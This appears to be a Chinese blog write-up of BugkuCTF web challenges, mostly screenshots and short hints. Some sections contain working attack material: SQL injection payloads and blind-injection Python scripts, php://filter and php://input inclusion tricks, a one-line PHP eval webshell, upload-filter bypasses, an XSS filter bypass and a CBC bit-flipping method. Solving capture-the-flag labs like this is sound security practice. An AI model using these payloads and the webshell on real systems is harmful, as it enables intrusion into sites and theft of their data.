BUGKUctf-web-writeup

因为是利用word直接转换的,所以排版有点乱,找到了原有word,用markdown重写了遍。
地址在:http://www.zhengjim.com/2019/05/11/166.html

找到了个ctf平台。里面的web挺多的。终于将web题目写的差不多了。
983170-20170609160313262-1956638247.png

Web

签到题
983170-20170609160515575-651552012.png

加群就可以了

Web2
983170-20170609160524793-1339595384.png

直接F12就看到了
983170-20170609160530997-1345831216.png

文件上传测试
983170-20170609160538512-2034021863.png

Burp抓包
文件名改成 1.jpg.php 即可
983170-20170609160544950-1622429607.png

计算题
983170-20170609160550262-1597491419.png

F12 改长度限制即可
983170-20170609160556043-1393311899.png

983170-20170609160559715-1516245650.png

983170-20170609160606731-300134016.png

Web3
983170-20170609160615059-1520907799.png

阻止一直弹框,然后源代码
983170-20170609160622668-1515052138.png

解码下就可以了
983170-20170609160629465-1444251471.png

Sql注入
983170-20170609160636668-1428206835.png

右键源代码,看到gb2312 易想到宽字节注入
983170-20170609160644028-731126798.png

983170-20170609160648106-236836360.png

爆出数据库:
983170-20170609160655106-294952694.png

结合题目,得flag
983170-20170609160707153-558179911.png

SQL注入1
983170-20170609160716590-1331619951.png

Sql语句:$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

可以用%00绕过关键字过滤

爆出数据库:
983170-20170609160725668-1036547476.png

Flag :
983170-20170609160734153-713190888.png

你必须让他停下
983170-20170609160741231-1089132311.png

Burp抓包

返回的包图片不一样. Intruder 多次试试
随便构造没用的参数发送就行了
根据length 查看就行了
983170-20170609160748715-753953889.png

本地包含
983170-20170609160754840-1701958521.png

源代码
983170-20170609160801668-1471301930.png

eval存在命令执行漏洞,构造出文件包含
983170-20170609160809450-739557047.png

Base64解码即可

后来得知可以这么写。
983170-20170609160815278-1116900022.png

积累太少。

变量1
983170-20170609160836512-207722299.png

源代码
983170-20170609160844043-1470115442.png

(和“百度杯”CTF比赛(二月场)题目一致)
提示flag在变量里。正则匹配只能大小写字符和数字。 eval("var_dump($$args);");打印出变量的值。 利用超全局数组 GLOBALS 可以打印出所有变量。
983170-20170609160852559-483931595.png

Web4
983170-20170609160858153-494831140.png

右键源代码 看见了一串js代码 先URL解码
983170-20170609160905387-154221790.png

983170-20170609160908231-1304330038.png
就是拼接 67d709b2b54aa2aa648cf6e87a7114f1 提交
983170-20170609160916840-1929439725.png

Web5
983170-20170609160929450-1119991255.png

右键源代码,将JSfuck代码扔进F12控制台
983170-20170609160937543-1262709441.png

flag在index里
983170-20170609160944153-386551586.png

点下链接http://120.24.86.145:8005/post/index.php?file=show.php
发现File参数 易想到文件包含漏洞
PAYLOAD:http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
Base64解码
983170-20170609160954106-810074616.png
phpcmsV9
983170-20170609161002137-983174490.png

利用注册页面的漏洞试试能不能getshell。显示操作失败。
983170-20170609161008762-1527845562.png

所以只能先利用sql注入,注入出后台账号和密码。网上有很多注入exp。
983170-20170609161025747-119206912.png

983170-20170609161015793-1864633508.png
花了一毛解密 a123456
在后台可以直接看到我们在注册页面上传的shell ,原来只是没回显。 菜刀连上去即可
983170-20170609161033965-1924524513.png

983170-20170609161039168-1045967861.png
海洋CMS
983170-20170609161055747-1352309709.png

利用网上已经知道的漏洞。
983170-20170609161106731-600251360.png

根据提示,列出目录开始找。
983170-20170609161112543-721130332.png
983170-20170609161118059-1367397785.png

输入密码查看flag

983170-20170609161124403-1627671704.png

根据提示 用BURP爆破
983170-20170609161130043-592915218.png

前女友
983170-20170609161135153-1866452447.png

点链接看到源代码
983170-20170609161141168-1050029025.png

利用PHP md5()漏洞与strcmp()漏洞
983170-20170609161149043-20239199.png

成绩单
983170-20170609161156778-1318270944.png

容易看出考SQL注入
983170-20170609161202028-174387071.png

爆表:-1' union select 1,table_name,3,4 from information_schema.tables where TABLE_SCHEMA='skctf_flag' LIMIT 0,1
爆字段:-1' union select 1,column_name,3,4 from information_schema.columns where TABLE_SCHEMA='skctf_flag' and table_name='fl4g' LIMIT 0,1#
Flag:-1' union select 1,skctf_flag,3,4 from fl4g#
983170-20170609161%20210575-1352728449.png

Web3
983170-20170609161216481-771805843.png

983170-20170609161219215-1020191410.png
Flag base64解码后还有base64的字符 在解码 。 是串数字。根据提示就是要把那串数字POST过去 ,要短时间内。Python脚本:

!usr/bin/env python

!coding=utf-8

author = 'zhengjim'

import requests
import base64

url ='http://120.24.86.145:8002/web6/'

r =requests.session()

headers = r.get(url).headers
key = base64.b64decode(base64.b64decode(headers['flag']).split(':')[1])
data={'margin':key}
print r.post(url=url,data=data).content
983170-20170609161234778-1417107648.png

cookies欺骗??
983170-20170609161251215-1509827372.png

点进来URL
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。Line是行数
遍历获得源代码
得到源代码后,看出,构造cookie margin=margin 然后读keys.php即可
983170-20170609161258559-1938815563.png

xss
983170-20170609161305997-1231269560.png

983170-20170609161308887-919887935.png

过滤<> 用\u003cscript\u003ealert(key)\u003c/script\u003e 可绕过
983170-20170609161315606-195773617.png
never give up
983170-20170609161323028-1537577989.png

发现提示1p.html 访问1p.html后发现了一串WORDS 解码。有串base64解码 。在url解码
983170-20170609161329372-1770568494.png

983170-20170609161331903-2126933466.png
983170-20170609161336700-950885152.png
983170-20170609161342653-1058070729.png
直接访问即可(出题人应该是忘记屏蔽了-。-)
983170-20170609161346340-193092087.png
正解应该是
983170-20170609161404184-495181743.png

welcome to bugkuctf
983170-20170609161417668-192838233.png

看源代码:
983170-20170609161422793-813335312.png

txt参数的 File_get_contents() 利用php://input 来绕过 file 的include() 文件包含
983170-20170609161429856-711114245.png

读出hint.php 解码后:
983170-20170609161435590-1507949937.png

在读flag.php,结果提示不给flag 于是读下index.php
983170-20170609161442934-1828740238.png

983170-20170609161445950-1380100860.png

发现正则匹配file 不能包含flag

看到这段代码及hint.php类有个 __toString()构造函数,可以构造password的序列化。然后反序列读出flag.php文件
983170-20170609161455418-501527196.png

983170-20170609161458590-1474280135.png
983170-20170609161501168-513807221.png
login1
983170-20170609161509184-283746510.png
根据提示 就是注册一个admin a 的账号
然后就可以重置admin密码,后登入即可。
983170-20170609161518090-586285170.png

过狗一句话
983170-20170609161523715-850746086.png

看提示 猜测 indexphp 就是shell 于是直接利用
983170-20170609161537700-348440919.png

983170-20170609161530106-2147414360.png

各种绕过哟
983170-20170609161546606-1114615164.png

根据源代码 GET 一个unname 和POST一个 passwd 值不能相等 sha1要相等 ,提交数组。Sha1()均返回null 绕过
983170-20170609161555512-1692016691.png
Web8
983170-20170609161603653-109309205.png

根据源代码
983170-20170609161609090-1294197803.png

extract 可以将$_GET数组的值转为变量,默认是如果有冲突,则覆盖已有的变量。
File_get_contents() 利用php://input绕过。
983170-20170609161615137-1743301637.png

字符?正则?
983170-20170609161625137-1777773572.png

一步步跟着匹配即可,[:punct:]是匹配任何标点符号
983170-20170609161631372-627378296.png

考细心
983170-20170609161636543-430944040.png

看主页404,但和真正的404页面不一样,没什么发现,于是试了下robots.txt 发现了resusl.php文件。
983170-20170609161646325-916431406.png

本来以为是伪造IP,然后注入得到password,提交。然后均失败了。 试了下?x=admin 出现flag。。。
983170-20170609161703059-100476117.png

求getshell
983170-20170609161711965-1772646895.png

上传题。 各种方法尝试。发现是后缀名黑名单检测和类型检测
php别名:php2, php3, php4, php5, phps, pht, phtm, phtml 均试下。
发现php5绕过
上面的Content-Type的值 大小写绕过
983170-20170609161718325-1933730827.png
flag.php
983170-20170609161727684-1290934369.png

点了没反应,提示:hint 多次尝试 发现GET一个hint就有源代码
983170-20170609161737106-2045902743.png

审计代码,要传一个cookie名为ISecer 的反序列的值。并且反序列后的值要全相等于”$KEY”
这里要注意是有双引号。
983170-20170609161744887-1600954912.png

而且$KEY的传值的此之后的。所以反序列的值不是’ISecer:www.isecer.com’。
我们要得到的值是string(0) "" 所以序列化该值即可。
983170-20170609161751497-2103495524.png

983170-20170609161754012-1800055232.png

983170-20170609161757247-1324778764.png
Web15
983170-20170609161804840-1334020561.png

给了源代码
是INSERT INTO的注入,并且不能有’,’否则会吃掉后面的语句
Payload:
11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1
Python脚本
import requests
import string
url="http://120.24.86.145:8002/web15/"
allString=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,33):
for str1 in allString:
data="11'+(select case when (substring((select flag from flag ) from {0} for 1 )='{1}') then sleep(4) else 1 end ) and '1'='1".format(str(i),str1)
# print data
headers={"x-forwarded-for":data}
try:
res=requests.get(url,headers=headers,timeout=3)
except requests.exceptions.ReadTimeout, e:
flag += str1
print flag
break
print 'flag:' + flag
文件包含2
983170-20170609161823575-1354122266.png

看见file想到文件包含,php://filter/read=convert.base64-encode/resource=hello.php
983170-20170609161831387-182002732.png

失败。
右键源代码,发现有个upload.php上传。所以上传一个带一句话木马的图片包含即可。
‘<?php’ 、 ‘?>’这两个被过滤了。换个姿势上传~
<?=eval($_POST['cmd']);
成功连接
983170-20170609161841153-1722983095.png

sql注入2
983170-20170609161847637-1324229070.png

根据题目sql注入 试了好久好久,于是请教他人。。。结果大牛说访问下flag 就行了。巨坑!
wordpress
983170-20170609161856653-1053217588.png

983170-20170609161859840-2011971180.png

登入后台。根据这个构造账号密码 sun sun19980321
看到隐藏文章
983170-20170609161906762-1246431759.png

经人提醒才知道,是数据库
找到http://wp.bugku.com/phpmyadmin/ 登入
983170-20170609161916778-1549072616.png

Login3
983170-20170609161922059-957944143.png

过滤了空格 or and where + * union ,%0a %0b 等等
测试得出用 ^
983170-20170609161928137-1205358498.png

Payload
import requests
url = 'http://47.93.190.246:49167/index.php'
r = requests.Session()
result = ''
for i in range(1,33):
for j in range(37,127):
payload = "admin1'^(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
print payload
data = {"username":payload,"password":"asd"}
html = r.post(url,data=data)
if "password error!" in html.content:
result += chr(j)
print result
break
print result
跑出MD5解密 登入即可
983170-20170609161938668-208966576.png

login4
983170-20170609161944200-1203148126.png

看到登入框就试试有没有注入,源代码泄露。 发现.index.php.swp 存在
恢复成源码。 根据提示,知道了是利用cbc字符翻转攻击。
原理看文章:http://wooyun.jozxing.cc/static/drops/tips-7828.html

首先先post username = ‘qdmin’ password=’1’ 会得到一个iv cipher
983170-20170609161954668-1912727158.png
利用CBC字节翻转攻击将qdmin 的q 改成 a 后加密得到cipher。
983170-20170609162000418-1313330111.png

替换cookie[cipher]的值 访问。
983170-20170609162021543-1578730747.png
反序列化失败。 原因是第一个块数据(16字节)被破坏了。因为要username要等于admin所以不能利用文章里的说的填充字符。 又因为是第一个块数据被破坏,第一个块数据是和IV有关,所以只要将在CBC字符翻转攻击,得到新的IV就可以修复第一块数据。
983170-20170609162029965-2135941035.png

代入vi即可
983170-20170609162035497-428061759.png

转载于:https://www.cnblogs.com/zhengjim/p/6972527.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值